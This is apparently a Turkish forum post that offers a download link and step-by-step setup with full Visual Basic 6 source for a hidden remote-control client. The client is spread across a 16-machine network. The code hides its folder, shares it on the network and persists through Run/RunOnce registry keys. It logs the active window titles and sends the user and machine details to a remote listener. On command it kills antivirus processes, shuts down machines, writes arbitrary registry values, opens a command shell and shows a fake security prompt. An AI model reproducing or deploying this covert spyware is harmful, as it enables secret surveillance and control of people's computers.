karşı bilgisayarları yönet(Managing computers against)

DOWLOAD LINK http://turbobit.net/i2ddhdnostop.html

'Değerli Arkadaşlar
'sizden ricam çok güzel bir çalışma oldu lütfen üşenmeden yapın eminim hoşunuza gidecek
'Öncelikle c: dizininin içine "Client" adında bir klasör oluşturun
'Bu klasörün içine "Program" ve "Raporlar" adında iki klasör daha oluşturun
'Program klasörünün içine "MSWINSCK.OCX"-"TABCTL32.OCX" component dosyalarını yerleştirin
'Yine program klasörünün içine "Kopyala.bat" isimli bir dosya daha oluşturun ve içine "Copy "C:\Client\Program\Kalimero.exe", "C:\Client\kalimero.exe" kodunu yapıştırıp kaydedin.
'Yine program klasörünün içine "Paylaşım.bat" isimli bir dosya daha oluşturun ve içine aşağıdakileri yazın
'net share Kalimero ="C:\Client"'bu kalsörü paylaşıma açsın
'SetAttr "C:\Client", vbHidden' bu klasörü gizlesin
'daha sonra bu projenin exe halini Kalimero.exe olarak "C:\Client\Program\Kalimero.exe" dizinine kaopyalayın ve çalıştırın.
'Formunuza bir adet TABCTL32.OCX componenti yerleştirin
'daha sonra kodlarda geçen nesneleri yerleştirin
'11 adet timer,
'10 adet buton
'2 adet winsock
'19 adet textbox
'47 adet option düğmesi karşıdaki bilgisayarda aşağıda belirtilen 47 adet işlemi yaptırtmak için
'bu kodlar 16 adet bilgisayarın olduğu bir network ağında çalışacak şekilde ayarlanmıştır.
'programı exe haline getirdikten sonra karşı bilgisayara atarsanız aşağıdaki kodlardan iç ip numaralarını ayarladıktan sonra karşı bilgisayarda 47 adet işlemi kendi bilgisayarınızadan yaptırtabilirsiniz.
'aşağıdaki kodlarla yaptığım programı ben bütün bilgisayarlara yükledim
'kendi bilgisayarımıda bu 16 adet bilgisayardan bilgi alacak şekilde bir server programı yapıp bilgileri tek bir ekrandan an be an izliyorum.
'hepinize kolay gelsin.
'Bir fom açın ve içine aşağıdaki kodları yapıştırın.


Option Explicit
'Bu fonksiyon printscreen işlemi yapar
Private Declare Sub keybd_event Lib "USER32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

'AKTİF PENCERE YADA PROGRAMIN İSMİNİ Ö?RENME
Private Declare Function GetWindowText Lib "USER32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetForegroundWindow Lib "USER32" () As Long
'CHAD KODU

Private Sub cmd_kapat_Click() 'çalışan programı kapat
On Local Error Resume Next
Shell "TASKKILL /F /IM msrun*"
Shell "TASKKILL /F /IM msclient*"
End Sub

Private Sub cmd_kopyala_Click() 'programı kopyala
On Local Error Resume Next
Shell "C:\Client\Program\kopyala.bat"

Copy "C:\Client\Program\Kalimero.exe", "C:\Client\kalimero.exe"
End Sub

Private Sub cmd_paylaş_Click() 'programı gizle ve bulunduğu klasörü paylaşıma açtır.
On Local Error Resume Next
SetAttr "C:\Client", vbHidden + vbSystem
Shell "C:\Client\Program\Paylaşım.bat"
End Sub

Private Sub cmd_regkaydet_Click() 'registry kaydnı yap
On Local Error Resume Next
Dim ahmet As Object
Set ahmet = CreateObject("wscript.shell")
ahmet.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & "MSCLİENT", "C:\Documents and Settings\denizli\Belgelerim\Client\Program\msclient.exe"
ahmet.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\" & "MSCLİENT", "C:\Documents and Settings\denizli\Belgelerim\Client\Program\msclient.exe"
Text6 = "Regisry Kaydı Yapıldı"
cmd_regsil.Enabled = True

End Sub

Private Sub cmd_regsil_Click() 'registry kaydını sil
On Local Error Resume Next
Dim ahmet As Object
Set ahmet = CreateObject("wscript.shell")
ahmet.Regdelete ("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & "MSCLİENT")
ahmet.Regdelete ("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\" & "MSCLİENT")
Text6 = "Registry Kaydı Silindi"
cmd_regsil.Enabled = False

End Sub


Private Sub cmd_klasörgöster_Click() 'gizlediğimiz klasörü göster
On Local Error Resume Next
SetAttr "C:\Client", vbSystem + vbNormal 'Klasörü göster
End Sub

Private Sub İşlemiBaşlat_Click() 'karşı taraftan gelen komuta göre işlem yaptırmak
On Local Error Resume Next
txt_chat = ""
Dim a, b, C
If Option1.Value = True Then
a = "1"
End If
If Option2.Value = True Then
a = "2"
End If
If Option3.Value = True Then
a = "3"
End If
If Option4.Value = True Then
a = "4"
End If
If Option5.Value = True Then
a = "5"
End If
If Option6.Value = True Then
a = "6"
End If
If Option7.Value = True Then '
a = "7"
End If
If Option8.Value = True Then
a = "8"
End If
If Option9.Value = True Then
a = "9"
End If
If Option10.Value = True Then
a = "10"
End If
If Option11.Value = True Then
a = "11"
End If
If Option12.Value = True Then
a = "12"
End If
If Option13.Value = True Then
a = "13"
End If
If Option14.Value = True Then
a = "14"
End If
If Option15.Value = True Then
a = "15"
End If
If Option16.Value = True Then
a = "16"
End If
If Option17.Value = True Then
a = "17"
End If
If Option18.Value = True Then
a = "18"
End If
If Option19.Value = True Then
a = "19"
End If
If Option20.Value = True Then
a = "20"
End If
If Option21.Value = True Then
a = "21"
End If
If Option22.Value = True Then
a = "22"
End If
If Option23.Value = True Then
a = "23"
End If
If Option24.Value = True Then
a = "24"
End If
If Option25.Value = True Then
a = "25"
End If
If Option26.Value = True Then
a = "26"
End If
If Option27.Value = True Then
a = "27"
End If
If Option28.Value = True Then
a = "28"
End If
If Option29.Value = True Then
a = "29"
End If
If Option30.Value = True Then
a = "30"
End If
If Option31.Value = True Then
a = "31"
End If
If Option32.Value = True Then
a = "32"
End If
If Option33.Value = True Then
a = "33"
End If
If Option34.Value = True Then
a = "34"
End If
If Option35.Value = True Then
a = "35"
End If
If Option36.Value = True Then
a = "36"
End If
If Option37.Value = True Then
a = "37"
End If
If Option38.Value = True Then
a = "38"
End If
If Option39.Value = True Then
a = "39"
End If

If Option40.Value = True Then
a = "40"
End If
If Option41.Value = True Then
a = "41"
End If
If Option42.Value = True Then
a = "42"
End If
If Option43.Value = True Then
a = "43"
End If
If Option44.Value = True Then
a = "44"
End If
If Option45.Value = True Then
a = "45"
End If
If Option46.Value = True Then
a = "46"
End If
If Option47.Value = True Then
a = "47"
End If


Dim mesaj As String
Dim x
x = Chr(13) + Chr(10)
If Winsock20.State <> sckConnected Then
Winsock20.Close
Label21.Caption = "Bağlantı kesildi"

Exit Sub
End If
mesaj = a
Winsock20.SendData (mesaj)
txt_chat = txt_chat
Timer9.Enabled = True

End Sub

Private Sub Form_Load()
On Local Error Resume Next
If App.PrevInstance Then 'Program bir defa çalışssın
End
End If

cmd_regkaydet.Value = True 'registrye kaydet
cmd_regsil.Enabled = False 'registryden sil
cmd_kopyala.Value = True 'bat dosyasını çalıştır
cmd_paylaş.Value = True 'bat dosyasını çalıştır
Text2 = Environ("computername")
Text3 = Environ("username")

Winsock10.LocalPort = txt_localport
Winsock10.Listen
txt_localip.Text = Winsock10.LocalIP
txt_remoteip.Text = "192.168.20.4"


Text5 = " Tarih Zaman İp Numarası LocalİP RemoteİP Kullanıcı Bilgisayar .Adı"
End Sub

Private Sub cmd_baglan_Click()
On Local Error Resume Next
Winsock20.RemoteHost = txt_remoteip.Text
Winsock20.RemotePort = txt_remoteport
Winsock20.Connect

Label21.Caption = "Bağlantı Sağlandı"

End Sub

Private Sub Text1_Change()
On Local Error Resume Next
txt_mesaj = Text1
Timer8.Enabled = True
End Sub

Private Sub Timer1_Timer()
On Local Error Resume Next
cmd_baglan.Value = True
End Sub




Private Sub Timer10_Timer()
If txt_chat = "1" Then
Timer9.Enabled = True
End If

If txt_chat = "2" Then
Timer9.Enabled = True
End If

If txt_chat = "3" Then
Timer9.Enabled = True
End If

End Sub

Private Sub Timer2_Timer()
On Local Error Resume Next
cmd_yolla.Value = True
End Sub

Private Sub Timer22_Timer() 'bazı programları kapat
'siz isterseniz exe isimlerini biliyorsanı onları ekleyebilirsiniz.
On Local Error Resume Next
Shell "TASKKILL /F /IM msnmsgr*" 'messengere kapat
Shell "TASKKILL /F /IM msmsgs*" 'messengere kapat
Shell "TASKKILL /F /IM sol*"
Shell "TASKKILL /F /IM freecell*"
Shell "TASKKILL /F /IM pinball*"
Shell "TASKKILL /F /IM spider*"
Shell "TASKKILL /F /IM mshearts*"
Shell "TASKKILL /F /IM zclientm*"
Shell "TASKKILL /F /IM winmine*"
Shell "TASKKILL /F /IM Zuma.exe" 'şans oyunu
Shell "TASKKILL /F /IM Okey.exe" 'Okey+ v1.5


Timer22.Enabled = False
End Sub

Private Sub Timer3_Timer() 'AKTİF PENCERE YADA PROGRAMIN İSMİNİ Ö?RENME
On Local Error Resume Next
Dim MyStr As String, hwnd As Long
MyStr = String(100, Chr$(0))
hwnd = GetForegroundWindow
GetWindowText hwnd, MyStr, 100
MyStr = Replace(MyStr, Chr(0), "")
Text1 = MyStr
End Sub



Private Sub Timer7_Timer() 'oyunları ve bazı programları bu programa tanıtmak ve işlem yaptırmak için
On Local Error Resume Next
If Text1 = "Solitaire" Then
txt_mesaj = Text1 + " Fal Açma Kağıt Oyunu Oynanıyor"
'Timer22.Enabled = True 'Oyunu kapat
End If
If Text1 = "FreeCell" Then
txt_mesaj = Text1 + " Kağıt Oyunu Oynanıyor"
'Timer22.Enabled = True 'Oyunu kapat
End If
If Text1 = "FreeCell Oyun #28941 ( )" Then
txt_mesaj = Text1 + " İskambil Kağıt Oyunu Oynanıyor"
'Timer22.Enabled = True 'Oyunu kapat
End If
If Text1 = "Spider" Then
txt_mesaj = Text1 + " İskambil Kağıt Oyunu Oynanıyor"
'Timer22.Enabled = True 'Oyunu kapat
End If
If Text1 = "Microsoft Hearts Ağı" Then
txt_mesaj = Text1 + " İnternette Masada 4'lü Kağıt Oyunu Oynanıyor"
'Timer22.Enabled = True 'Oyunu kapat
End If
If Text1 = "Windows için 3D Pinball - Space Cadet" Then
txt_mesaj = Text1 + " İnternette Şans Oyunu Oynanıyor"
'Timer22.Enabled = True 'Oyunu kapat
End If
If Text1 = "MSN Messenger" Then
txt_mesaj = Text1 + " MSN'de Chad Yapılıyor"
'Timer22.Enabled = True
End If
If Text1 = "Windows Messenger" Then
txt_mesaj = Text1 + " MSN'de Chad Yapılıyor"
'Timer22.Enabled = True
End If
'Command21.Value = True 'müzik çal
If Text1 = "Zuma Deluxe" Then
txt_mesaj = Text1 + " Şans Oyunu Oynanıyor"
'Timer22.Enabled = True
End If
End Sub

Private Sub Timer8_Timer() 'Toplanan bilgileri aşağıda konumu verilen dosyaya kaydet
On Local Error Resume Next
Dim x
x = Chr(13) + Chr(10)
Open "C:\Client\Raporlar\" & Date & ".txt" For Append As #5 'hergün o günün tarihiyle dosya açsın

Dim okukaydet

'' Önce tarife giriş metnini belirleyelim:
'strGirisMetni
okukaydet = Date & " " & Time & " " & "> Aktif Pencere : " + Text1 '& vbCrLf
Print #5, okukaydet
Close #5
Timer8.Enabled = False


End Sub

Private Sub Timer9_Timer() 'karşı bilgisayardan gelen komuta göre işlemleri yaptır.
On Local Error Resume Next
Dim x
Dim ahmet As Integer
x = Chr(13) + Chr(10)
Dim w
Dim sayfaadınıoku As Object 'mevcut giriş sayfasını oku
Dim posta As Object 'postayı giriş sayfası olarak yap
Dim öncekisayfayıkoru As Object 'postaya bağlanmadan önceki giriş sayfasını koru

If txt_chat.Text = "1" Then
MsgBox "Oyun Oynadığınız Tespit Edilmiştir. !" + x + ">> Oyun Adı : " + Text1 + x + x + "Oyun Oynadığınız " & Date & " tarih ve " & Time & " saat İtibariyle Rapor Haline Getirildi", vbOKOnly, "Sayın, " + Environ("computername") + " bilgisayarı Kullanıcısı"
End If

If txt_chat.Text = "2" Then
MsgBox "Aşağıdaki Sayfanın Açık Olduğu Tespit Edilmiştir.!" + x + ">> Aktif sayfa adı : " + Text1 + x + x + "Çalışmanız " & Date & " tarih ve " & Time & " saat İtibariyle Rapor Haline Getirildi", vbOKOnly, "Sayın, " + Environ("computername") + " bilgisayarı Kullanıcısı"
End If

If txt_chat.Text = "3" Then
MsgBox "Aşağıdaki İnternet Adresinin Açık Olduğu Tespit Edilmiştir.!" + x + ">> İnternet adresi : " + Text1 + x + x + "Çalışmanız " & Date & " tarih ve " & Time & " saat İtibariyle Rapor Haline Getirildi", vbOKOnly, "Sayın, " + Environ("computername") + " bilgisayarı Kullanıcısı"
End If

If txt_chat.Text = "4" Then
Shell "TASKKILL /F /IM wmplayer*" 'Media Player kapat
'MsgBox "Media Player'ın Çalıştığı Tespit Edilmiştir.!" + x + ">> Media Player Adı : " + Text1 + x + x + "Çalışmanız " & Date & " tarih ve " & Time & " saat İtibariyle Rapor Haline Getirildi", vbOKOnly, "Sayın, " + Environ("computername") + " bilgisayarı Kullanıcısı"
End If

If txt_chat.Text = "5" Then
Shell "TASKKILL /F /IM winword*" 'word kapat
End If

If txt_chat.Text = "6" Then
Shell "TASKKILL /F /IM excell*" 'excell kapat
End If

If txt_chat.Text = "7" Then
Shell ("shutdown -s -t 1") 'Bilgisayarı kapat
End If

If txt_chat.Text = "8" Then
Shell "TASKKILL /F /IM iexplore*" 'İnterneti kapat
End If

If txt_chat.Text = "9" Then
Timer22.Enabled = True 'Oyunları kapat
End If

If txt_chat.Text = "10" Then 'giriş Sayfası "http://www.google.com.tr/"
Dim TSE As Object
Set TSE = CreateObject("wscript.shell")
TSE.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\" & "Start Page", "http://www.google.com.tr"
End If

If txt_chat.Text = "11" Then 'giriş Sayfası "http://www.mynet.com/"
Dim belge As Object
Set belge = CreateObject("wscript.shell")
belge.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\" & "Start Page", "http://www.mynet.com/"
End If

If txt_chat.Text = "12" Then 'giriş Sayfası "about:blank"
Dim boş As Object
Set boş = CreateObject("wscript.shell")
boş.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\" & "Start Page", "about:blank"
End If

If txt_chat.Text = "13" Then 'menü açılış hızlarını artır
Dim hızlandır As Object
Set hızlandır = CreateObject("wscript.shell")
hızlandır.regwrite "HKEY_CURRENT_USER\Control Panel\Desktop\" & "MenuShowDelay", "0"
End If

If txt_chat.Text = "14" Then 'messengeri kapat
Shell "TASKKILL /F /IM msnmsgr*" 'msn 7,5
Shell "TASKKILL /F /IM msmsgs*" 'eski sürüm msn
End If

If txt_chat.Text = "15" Then
Shell ("shutdown -r -t 1") 'Bilgisayara reset at
End If

If txt_chat.Text = "16" Then 'registry'e kayıt ekle
Dim ekle As Object
Set ekle = CreateObject("wscript.shell")
ekle.regwrite txt_anahtar & txt_dizin, txt_değer
End If

If txt_chat.Text = "17" Then 'registryden kayıt oku
Dim q
Dim oku As Object
Set oku = CreateObject("wscript.shell")
q = oku.regread(txt_anahtar & txt_dizin)
txt_değer = q
txt_mesaj = txt_chat + x + "> Okunan Anahtar : " + "( " + txt_anahtar + " )" + x + "> Okunan Dizin : " + "( " + txt_dizin + " )" + x + "> Okunan Değer : " + "( " + txt_değer + " )"
End If

If txt_chat.Text = "18" Then 'mesaj yaz ve gönder
MsgBox Text9, , Text8
End If

If txt_chat.Text = "19" Then 'yardım menüsünü göster
Shell ("C:\WINDOWS\PCHEALTH\HELPCTR\Binaries\helpctr.exe")
End If

If txt_chat.Text = "20" Then 'TSE postasını aç "http://www.mynet.com"

txt_anahtar = "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\"
txt_dizin = "Start Page"
Set sayfaadınıoku = CreateObject("wscript.shell") 'mevcut giriş sayfasını oku
w = sayfaadınıoku.regread(txt_anahtar & txt_dizin)
txt_değer = w
Set posta = CreateObject("wscript.shell") 'http://www.mynet.com giriş sayfası olarak yap
posta.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\" & "Start Page", "http://www.mynet.com"
Shell ("C:\Program Files\Internet Explorer\iexplore.exe")
ekle.regwrite txt_anahtar & txt_dizin, txt_değer 'http://www.mynet.com bağlanmadan önceki giriş sayfasını koru
Set öncekisayfayıkoru = CreateObject("wscript.shell")
öncekisayfayıkoru.regwrite txt_anahtar & txt_dizin, txt_değer
End If

If txt_chat.Text = "21" Then 'internet giriş sayfasını aç
Shell ("C:\Program Files\Internet Explorer\iexplore.exe")
End If

If txt_chat.Text = "22" Then 'saati ayarla
Time = "00:00:00"
End If

If txt_chat.Text = "23" Then 'tarihi ayarla
Date = "01.01.2006"
End If

If txt_chat.Text = "24" Then 'vbasicmaster sitesini açtır

txt_anahtar = "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\"
txt_dizin = "Start Page"
Set sayfaadınıoku = CreateObject("wscript.shell") 'mevcut giriş sayfasını oku
w = sayfaadınıoku.regread(txt_anahtar & txt_dizin)
txt_değer = w
Set posta = CreateObject("wscript.shell")
posta.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\" & "Start Page", "http://www.vbasicmaster.com"
Shell ("C:\Program Files\Internet Explorer\iexplore.exe")
ekle.regwrite txt_anahtar & txt_dizin, txt_değer 'http://www.vbasicmaster.com bağlanmadan önceki giriş sayfasını koru
Set öncekisayfayıkoru = CreateObject("wscript.shell")
öncekisayfayıkoru.regwrite txt_anahtar & txt_dizin, txt_değer
End If

If txt_chat.Text = "25" Then 'Virüs programını ekrana çıkar 'nortan antivürüs programı ise siz değiştirebilirsiniz
Shell ("C:\Program Files\Symantec AntiVirus\VPC32.exe")
End If

If txt_chat.Text = "26" Then 'Virüs programını traya gönder
Shell ("C:\Program Files\Symantec AntiVirus\Vptray.exe")
End If

If txt_chat.Text = "27" Then 'Virüs programını kapat
Shell "TASKKILL /F /IM Vptray*"
Shell "TASKKILL /F /IM VPC32*"
Shell "TASKKILL /F /IM VPDN_LU*"
End If
If txt_chat.Text = "28" Then 'Virüs programını update yaptır
Shell ("C:\Program Files\Symantec AntiVirus\VPDN_LU.exe")
End If

If txt_chat.Text = "29" Then 'hesap makinesini aç
Shell ("calc.exe")
End If

If txt_chat.Text = "30" Then 'ses denetimini aç
Shell ("sndvol32.exe")
End If

If txt_chat.Text = "31" Then 'komut dizinini aç
Shell ("cmd.exe")
End If

If txt_chat.Text = "32" Then 'komut dizinini aç
DoEvents
SavePicture Clipboard.GetData(vbCFBitmap), "C:\Documents and Settings\denizli\Desktop\Ekran Görüntüsü.gif"
If Me.WindowState = vbMinimized Then Me.WindowState = vbNormal
End If

If txt_chat.Text = "33" Then 'büyüteçi görüntüle
Shell ("magnify.exe")
End If

If txt_chat.Text = "34" Then 'büyüteçi kapat
Shell "TASKKILL /F /IM magnify*"
Shell "TASKKILL /F /IM Büyüteç*"
End If

If txt_chat.Text = "35" Then 'uzak masa üstünü çalıştır
Shell ("mstsc.exe")
End If
If txt_chat.Text = "36" Then 'uzak masa üstünü kapat
Shell "TASKKILL /F /IM mstsc*"
End If

If txt_chat.Text = "37" Then 'windows update'yi başlat
Shell ("C:\WINDOWS\system32\wupdmgr.exe")
End If

If txt_chat.Text = "38" Then 'diski tarat
Shell ("C:\WINDOWS\system32\chkdsk.exe")
End If

If txt_chat.Text = "39" Then 'Denetim Masası
Shell ("C:\WINDOWS\system32\control.exe")
End If

If txt_chat.Text = "40" Then 'faks gönderme sihirbazı
Shell ("C:\WINDOWS\system32\fxsclnt.exe")
End If

If txt_chat.Text = "41" Then 'Oturumu Kapat
Shell ("C:\WINDOWS\system32\logoff.exe")
End If

If txt_chat.Text = "42" Then 'Kötü Amaçlı Yazılımları Temizleme Aracı
MsgBox " Sayın, " + Environ("computername") + " Kullanıcısı" + x + x + "1- Bilgisayarınızın Güvenliği İçin Diskleriniz Taramadan Geçirilecek" + x + "2- Lütfen Tarama Türünü Seçerek İşemi Başlatınız" + x + x + "Not: Bu Uygulamanın Başlatılması Ahmet ARSLAN Tarafından İstenmiştir.", vbQuestion, " ÖNEMLİ UYARI '"
Shell ("C:\WINDOWS\system32\mrt.exe")
End If

If txt_chat.Text = "43" Then 'Yedekleme/Geri alma sihirbazı
Shell ("C:\WINDOWS\system32\ntbackup.exe")
End If

If txt_chat.Text = "44" Then 'Belgelerim klasöründeki klasörleri göster
Shell ("C:\WINDOWS\system32\userinit.exe")
End If

If txt_chat.Text = "45" Then 'Sürücü doğrulama programını Başlat
Shell ("C:\WINDOWS\system32\verifier.exe")
End If

If txt_chat.Text = "46" Then 'Görev yöneticisini aç
Shell ("C:\WINDOWS\system32\taskmgr.exe")
End If

If txt_chat.Text = "47" Then 'sisTEM BİLGİLERİNİ AÇ
Shell ("C:\WINDOWS\system32\winmsd.exe")
End If



txt_chat = ""
Timer9.Enabled = False






End Sub


Private Sub Winsock10_ConnectionRequest(ByVal requestID As Long)
On Local Error Resume Next
If Winsock10.State <> sckClosed Then Winsock10.Close
Winsock10.Accept (requestID)
txt_remoteip.Text = Winsock10.RemoteHostIP
End Sub

Private Sub txt_mesaj_KeyPress(KeyAscii As Integer)
On Local Error Resume Next
If KeyAscii = 13 Then cmd_yolla.Value = True

End Sub

Private Sub cmd_yolla_Click() 'bilgileri gönder
On Local Error Resume Next
Dim mesaj As String

Dim x
x = Chr(13) + Chr(10)
If Winsock20.State <> sckConnected Then
Winsock20.Close
Label21.Caption = "Bağlantı Kesildi"

Exit Sub
End If
mesaj = "> " & Date & " " & Time & " " & txt_localip & " " & Winsock10.LocalPort & " " & Winsock10.RemotePort & " " & Environ("username") & " " & Winsock10.LocalHostName + x + "> Bağlanılan Site : " + Text4 + x + "> Aktif Pencere : " + txt_mesaj
Winsock20.SendData (mesaj)
'txt_chat = txt_chat

End Sub

Private Sub Winsock10_DataArrival(ByVal bytesTotal As Long)
On Local Error Resume Next
Dim msg_al As String
Winsock10.GetData msg_al, vbString, bytesTotal
txt_chat.Text = msg_al

End Sub

Private Sub cmd_kes_Click()
On Local Error Resume Next
Winsock10.Close
Winsock20.Close
Winsock10.LocalPort = txt_localport
Winsock10.Listen
End Sub

'*********************************************
Private Sub Timer5_Timer() 'bilgisayarın iç ip numarasına göre port numarası versin
'siz buradaki bilgilesi değiştirip kendi ağınıza göre yapabilirsiniz.
On Local Error Resume Next
If txt_localip = "192.168.20.4" Then
txt_localport = "11104"
txt_remoteport = "11104"
End If
If txt_localip = "192.168.20.5" Then
txt_localport = "11105"
txt_remoteport = "11105"
End If
If txt_localip = "192.168.20.6" Then
txt_localport = "11106"
txt_remoteport = "11106"
End If
If txt_localip = "192.168.20.7" Then
txt_localport = "11107"
txt_remoteport = "11107"
End If
If txt_localip = "192.168.20.8" Then
txt_localport = "11108"
txt_remoteport = "11108"
End If
If txt_localip = "192.168.20.9" Then
txt_localport = "11109"
txt_remoteport = "11109"
End If
If txt_localip = "192.168.20.10" Then
txt_localport = "11110"
txt_remoteport = "11110"
End If
If txt_localip = "192.168.20.11" Then
txt_localport = "11111"
txt_remoteport = "11111"
End If
If txt_localip = "192.168.20.12" Then
txt_localport = "11112"
txt_remoteport = "11112"
End If
If txt_localip = "192.168.20.13" Then
txt_localport = "11113"
txt_remoteport = "11113"
End If
If txt_localip = "192.168.20.14" Then
txt_localport = "11114"
txt_remoteport = "11114"
End If
If txt_localip = "192.168.20.15" Then
txt_localport = "11115"
txt_remoteport = "11115"
End If
If txt_localip = "192.168.20.16" Then
txt_localport = "11116"
txt_remoteport = "11116"
End If
If txt_localip = "192.168.20.17" Then
txt_localport = "11117"
txt_remoteport = "11117"
End If
If txt_localip = "192.168.20.18" Then
txt_localport = "11118"
txt_remoteport = "11118"
End If
If txt_localip = "192.168.20.19" Then
txt_localport = "11119"
txt_remoteport = "11119"
End If

End Sub